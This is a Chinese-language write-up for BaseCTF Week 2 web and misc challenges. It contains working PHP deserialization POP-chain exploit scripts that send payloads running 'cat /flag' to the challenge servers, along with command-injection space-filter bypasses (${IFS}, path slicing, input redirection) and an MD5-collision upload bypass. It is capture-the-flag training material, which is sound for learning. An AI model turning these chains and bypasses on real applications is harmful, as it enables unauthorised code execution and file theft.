Week2
Web
[Week2] 一起吃豆豆
[Week2] 你听不到我的声音
无回显RCE
参考博客:
- BMZCTF:shell_exec_ctf exec(command:“ls >> 1.txt”)-CSDN博客
- RCE绕过之无回显_ctf无回显rce-CSDN博客
[Week2] ez_ser
PHP反序列化。
参考博客:[https://fushuling.com/index.php/2023/01/15/pop%e4%b8%80%e5%91%bd%e9%80%9a%e5%85%b3/](https://fushuling.com/index.php/2023/01/15/pop%e4%b8%80%e5%91%bd%e9%80%9a%e5%85%b3/)
编写EXP脚本:
<?php
// highlight_file(__FILE__);
// error_reporting(0);
class re
{
public $chu0;
public function __toString() // 在类的对象被当作字符串操作的时候自动被调用,一般来说就是echo $this->f1 . ‘xxxx’;这种情况
{
if (!isset($this->chu0)) {
return "I can not believes!";
}
$this->chu0->$nononono;
}
}
class web
{
public $kw;
public $dt;
public function __wakeup() // 创建对象时自动调用__wakeup()函数
{
echo "lalalla" . $this->kw;
}
public function __destruct() //对象所在的函数已调用完毕),系统自动执行析构函数
{
echo "ALL Done!";
}
}
class pwn
{
public $dusk;
public $over;
public function __get($name) // 读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用
{
if ($this->dusk != "gods") {
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}
class Misc
{
public $nothing;
public $flag;
public function getflag()
{
eval("system('cat /flag');");
}
}
class Crypto
{
public function __wakeup() // 创建对象时自动调用__wakeup()函数
{
echo "happy happy happy!";
}
public function getflag()
{
echo "you are over!";
}
}
//反序列化的链子
// Web的__wakeup() -> __toString() -> $nononono -> __get() -> getflag()
// 构建对象并设置其属性
$re = new re();
$pwn = new pwn();
// $misc = new Misc();
$crypto = new Crypto();
# 触发Web的__wakeup
$web = new web();
# 触发__toString()
$web -> kw = $re;
# 触发__get()
$re -> chu0 = $pwn;
$pwn -> dusk = "gods";
$pwn -> over = new Misc();
// 序列化对象
$payload = urlencode(serialize($web));
echo $payload ."\n";
// 构造 URL,将 Payload 传递给目标网站
$url = "http://challenge.basectf.fun:32538/?ser=" . $payload;
// 发送 GET 请求,触发反序列化漏洞
$response = file_get_contents($url);
// 输出响应
echo $response;
代码分析
- 类定义:
class re
: 拥有一个属性chu0
,并实现了__toString
方法,当对象被当做字符串使用时会调用此方法。如果chu0
未被设置,则返回"I can not believes!"。如果chu0
被设置,则尝试调用其一个未定义的属性$nononono
上的方法。class web
: 拥有两个属性kw
和dt
,并定义了__wakeup
和__destruct
方法。__wakeup
在反序列化时会被调用,输出"lalalla"和kw
。__destruct
在对象销毁时被调用,输出"ALL Done!"。class pwn
: 拥有两个属性dusk
和over
,并重载了__get
方法。当访问未定义的属性时,会调用__get
方法。如果dusk
不是"gods",输出"什么,你竟敢不认可?"。然后调用over
对象的getflag
方法。class Misc
: 拥有两个属性nothing
和flag
,并定义了getflag
方法,运行system('cat /flag');
。class Crypto
: 定义了__wakeup
和getflag
方法,__wakeup
在反序列化时输出"happy happy happy!“,getflag
输出"you are over!”。
- 反序列化
$ser = $_GET['ser'];
: 从GET请求中获取序列化的字符串。unserialize($ser);
: 反序列化该字符串。
反序列化利用
为了利用反序列化的漏洞来执行Misc
类中的getflag
方法,我们需要构造一个适当的序列化字符串。我们可以通过以下步骤来构造:
- 创建一个
pwn
类的对象。 - 设定其
dusk
属性为"gods"。 - 设定其
over
属性为一个Misc
类的对象。
[Week2] RCEisamazingwithspace
在这个PHP代码中,用户输入的命令被限制不能包含空格(即空白字符),因为使用了正则表达式 preg_match('/\s/', $cmd)
来检查。如果命令中包含空格字符,则会输出 “Space not allowed in command” 并退出。然后使用 system($cmd)
执行命令。
要绕过这个限制执行一个命令获取flag,你可以利用以下几种方法:
1. 使用URL编码和替代字符
某些符号可以在命令解析时替代空格。以下是一些常见的方法:
使用分号
分号可以用来分隔多个命令:
cmd1;cmd2
你可以用分号来分隔命令,比如:
cat;/flag
然而这样会被直接检测为空格的存在而被阻止。
使用${IFS}
变量
在Bash中,${IFS}
代表内部字段分隔符,默认是空格、制表符和换行符。你可以利用它来绕过空格检查:
cat${IFS}/flag
2. 使用环境变量
某些情况下,你可以使用环境变量来构造命令,例如:
${PATH:0:1}bin${PATH:0:1}cat${PATH:0:1}flag
这将会解析为 /bin/cat /flag
。
3. 使用命令替代(不包含空格)
你可以使用命令替代短命令来获取flag。例如:
如果目标服务器允许访问/proc
文件系统,你可以尝试以下命令:
cat</flag
这样避免了使用空格。
4. 使用目录路径替代空格
某些情况下,你可以利用路径替代空格。例如:
cat</flag
示例代码
假设你希望通过POST请求发送命令,可以尝试以下PHP重现这种绕过的例子:
<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
if (preg_match('/\s/', $cmd)) {
echo 'Space not allowed in command';
exit;
}
system($cmd);
?>
然后你可以使用上面提到的方法,比如:
cat${IFS}/flag
来进行测试。
CURL请求示例
使用 curl
发送POST请求测试:
curl -X POST -d "cmd=cat${IFS}/flag" http://target.url/path/to/script.php
通过这种方法,你可以绕过空格检查并执行命令来获取flag。请注意,根据实际服务器配置和安全措施,可能需要调整策略。务必确保你有合法权限和授权进行这类测试。
[Week2] Happy Birthday
首先检查是否是PDF
文件,修改Content-Type
然后检查两个文件的内容是否一致,一致不给过,不一致才给过
但是内容不一致之后会检查MD5
是否一致,MD5
一致才给过
众所周知,内容的变化就会导致MD5
的变化,所以只能用fastcoll_v1.0.0.5.exe
来生成两个内容不一样的文件,但是MD5
一样的文件来绕过,参考博客:【小工具发现系列-2】fastcoll_v1.0.0.5.exe md5碰撞_fastcoll工具-CSDN博客
然后将这两个文件上传获得flag
[Week2] Really EZ POP
EXP:
<?php
// highlight_file(__FILE__);
class Sink
{
private $cmd = 'echo `cat /flag`;';
public function __toString() // 在类的对象被当作字符串操作的时候自动被调用,一般来说就是echo $this->f1 . ‘xxxx’;这种情况
{
eval($this->cmd);
}
}
class Shark
{
private $word = 'Hello, World!';
public function __invoke() //以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用,CTF中最常见的触发情况就是出现($this–>m1)()这种形式的调用时,被处理后就可以成功调用__invoke()
{
echo 'Shark says:' . $this->word;
}
public function setWord($word) // 使用公共方法设置私有属性
{
$this->word = $word;
}
}
class Sea
{
public $animal;
public function __get($name) // 读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;
public function __destruct() //对象所在的函数已调用完毕),系统自动执行析构函数
{
echo $this->sea->see;
}
}
//反序列化的链子
// __destruct() -> __get() -> __invoke() -> __toString() -> eval($this->cmd)
// 构建对象并设置其属性
$sink = new Sink();
$shark = new Shark();
$sea = new Sea();
// 触发__destruct()
$nature = new Nature();
//触发__get()
$nature -> sea = $sea;
//触发__invoke()
$sea -> animal = $shark;
//触发 __toString()
$shark->setWord($sink); // 通过公共方法设置私有属性
// 修改 cmd 命令
$payload = urlencode(serialize($nature));
echo $payload . "\n";
// 将Payload发送到目标网站
$data = [
'nature' => $payload,
];
$url = 'http://challenge.basectf.fun:27759/'; // 替换成目标网站的URL
$options = [
'http' => [
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => http_build_query($data),
],
];
$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);
// 输出响应
echo $response;
//生成的payload为:O%3A6%3A%22Nature%22%3A1%3A%7Bs%3A3%3A%22sea%22%3BO%3A3%3A%22Sea%22%3A1%3A%7Bs%3A6%3A%22animal%22%3BO%3A5%3A%22Shark%22%3A1%3A%7Bs%3A11%3A%22%00Shark%00word%22%3BO%3A4%3A%22Sink%22%3A1%3A%7Bs%3A9%3A%22%00Sink%00cmd%22%3Bs%3A17%3A%22echo+%60cat+%2Fflag%60%3B%22%3B%7D%7D%7D%7D
//URL解码为:O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:11:"Sharkword";O:4:"Sink":1:{s:9:"Sinkcmd";s:17:"echo+`cat+/flag`;";}}}}
Misc
[Week2] 前辈什么的最喜欢了
Base64转图片——>PNG宽高一把梭
在线Base64转图片 (lddgo.net)
[Week2] 二维码1-街头小广告
[Week2] 海上又遇了鲨鱼
参考博客:Wireshark使用指南之重组FTP会话,提取FTP传输原始数据_提取每个 ftp-data 包中的数据流,拼接为一个完整文件-CSDN博客
发现flag.zip
追踪TCP
流到19
个流,发现压缩包的文件头和内容
保存原始数据为flag.zip
提示需要解压密码
第16个流有密码Ba3eBa3e!@#
[Week2] Aura 酱的旅行日记 <图寻擂台>
谷歌识图
百度百科
[Week2] 哇!珍德食泥鸭
foremost ikun.gif -o out
获得一个docx
文档,移开白色图片获得flag
,或者全选,然后复制粘贴到记事本可以看到flag
[Week2] Base?!
在线XXencode编码|在线XXencode解码|XX编码|XX解码|XXencode编码原理介绍–查错网 (chacuo.net)
XXencode